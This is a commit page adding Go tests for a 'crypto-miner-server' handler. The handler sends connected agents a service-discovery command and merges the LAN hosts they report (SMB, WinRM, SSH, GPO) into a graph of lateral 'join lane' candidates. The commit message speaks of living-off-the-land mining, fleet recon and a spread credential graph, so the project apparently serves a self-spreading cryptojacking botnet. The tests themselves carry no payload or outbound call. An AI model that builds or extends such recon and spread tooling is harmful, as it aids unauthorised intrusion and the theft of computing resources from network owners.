Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
167
server/internal/api/pathtracer_discover_test.go
Normal file
167
server/internal/api/pathtracer_discover_test.go
Normal file
@@ -0,0 +1,167 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
func TestMergeServiceGraph(t *testing.T) {
|
||||
base := map[string]ServiceGraphHost{
|
||||
"10.0.0.5": {
|
||||
Host: "10.0.0.5",
|
||||
Services: []ServiceGraphEntry{
|
||||
{ServiceName: "smb", Port: 445, JoinLaneCandidate: "smb"},
|
||||
},
|
||||
},
|
||||
}
|
||||
delta := map[string]ServiceGraphHost{
|
||||
"10.0.0.5": {
|
||||
Host: "10.0.0.5",
|
||||
Services: []ServiceGraphEntry{
|
||||
{ServiceName: "winrm", Port: 5985, JoinLaneCandidate: "winrm"},
|
||||
},
|
||||
},
|
||||
"10.0.0.9": {
|
||||
Host: "10.0.0.9",
|
||||
Services: []ServiceGraphEntry{
|
||||
{ServiceName: "ssh", Port: 22, JoinLaneCandidate: "linux"},
|
||||
},
|
||||
},
|
||||
}
|
||||
merged := mergeServiceGraph(base, delta)
|
||||
if len(merged) != 2 || len(merged["10.0.0.5"].Services) != 2 {
|
||||
t.Fatalf("merged = %+v", merged)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseAgentDiscoverJSON(t *testing.T) {
|
||||
raw := `log prefix
|
||||
{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"10.1.2.3","subnet":"10.1.2","services":[{"service_name":"docker","join_lane_candidate":"docker"}]},"lan_hosts":[{"host":"10.1.2.40","subnet":"10.1.2","services":[{"service_name":"smb","port":445,"join_lane_candidate":"smb","source":"lan_port"}]}]}`
|
||||
payload, err := parseAgentDiscoverJSON(raw)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if payload.Local.Host != "10.1.2.3" || len(payload.LANHosts) != 1 {
|
||||
t.Fatalf("payload = %+v", payload)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerDiscoverValidation(t *testing.T) {
|
||||
h := NewPathTracerHandler(NewWSHub(nil))
|
||||
req := httptest.NewRequest(http.MethodPost, "/pathtrace/discover", strings.NewReader(`{}`))
|
||||
rec := httptest.NewRecorder()
|
||||
h.Discover(rec, req)
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("expected 400, got %d", rec.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerDiscoverMergesHopResults(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
agentID := "discover-hop-agent"
|
||||
hub := NewWSHub(database)
|
||||
handler := NewPathTracerHandler(hub)
|
||||
conn := connectTestAgent(t, hub, agentID)
|
||||
|
||||
sess := testTraceSession(1)
|
||||
sess.Hops[0].AgentID = agentID
|
||||
handler.mu.Lock()
|
||||
handler.sessions[sess.ID] = sess
|
||||
handler.mu.Unlock()
|
||||
|
||||
fixture := `{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"192.168.1.10","subnet":"192.168.1","services":[{"service_name":"CCMEXEC","join_lane_candidate":"gpo","source":"local_service"}]},"lan_hosts":[{"host":"192.168.1.50","subnet":"192.168.1","services":[{"service_name":"smb","port":445,"join_lane_candidate":"smb","source":"lan_port"}]}],"passive_hints":["domain_joined"]}`
|
||||
|
||||
go func() {
|
||||
for {
|
||||
var msg Message
|
||||
if err := conn.ReadJSON(&msg); err != nil {
|
||||
return
|
||||
}
|
||||
if msg.Type != "command" {
|
||||
continue
|
||||
}
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
|
||||
continue
|
||||
}
|
||||
if payload["action"] == "service_discover" {
|
||||
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
|
||||
"action": "service_discover", "success": true, "message": fixture,
|
||||
})})
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
body := fmt.Sprintf(`{"session_id":%q,"max_hosts":16}`, sess.ID)
|
||||
req := httptest.NewRequest(http.MethodPost, "/pathtrace/discover", strings.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
handler.Discover(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("discover status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
var resp struct {
|
||||
OK bool `json:"ok"`
|
||||
ServiceGraph []ServiceGraphHost `json:"service_graph"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !resp.OK || len(resp.ServiceGraph) < 2 {
|
||||
var errBody map[string]interface{}
|
||||
_ = json.Unmarshal(rec.Body.Bytes(), &errBody)
|
||||
t.Fatalf("resp = %+v body=%v", resp, errBody)
|
||||
}
|
||||
|
||||
handler.mu.Lock()
|
||||
stored := handler.sessions[sess.ID]
|
||||
handler.mu.Unlock()
|
||||
if len(stored.ServiceGraph) < 2 || stored.DiscoveredAt == nil {
|
||||
t.Fatalf("stored graph = %+v discovered_at=%v", stored.ServiceGraph, stored.DiscoveredAt)
|
||||
}
|
||||
if stored.DiscoverInProgress {
|
||||
t.Fatal("discover should not remain in progress")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerDiscoverConflictWhileInProgress(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
agentID := "discover-busy-agent"
|
||||
hub := NewWSHub(database)
|
||||
handler := NewPathTracerHandler(hub)
|
||||
_ = connectTestAgent(t, hub, agentID)
|
||||
|
||||
sess := testTraceSession(1)
|
||||
sess.Hops[0].AgentID = agentID
|
||||
sess.DiscoverInProgress = true
|
||||
handler.mu.Lock()
|
||||
handler.sessions[sess.ID] = sess
|
||||
handler.mu.Unlock()
|
||||
|
||||
body := fmt.Sprintf(`{"session_id":%q}`, sess.ID)
|
||||
req := httptest.NewRequest(http.MethodPost, "/pathtrace/discover", strings.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
handler.Discover(rec, req)
|
||||
if rec.Code != http.StatusConflict {
|
||||
t.Fatalf("expected 409, got %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
_ = time.Now()
|
||||
}
|
||||
Reference in New Issue
Block a user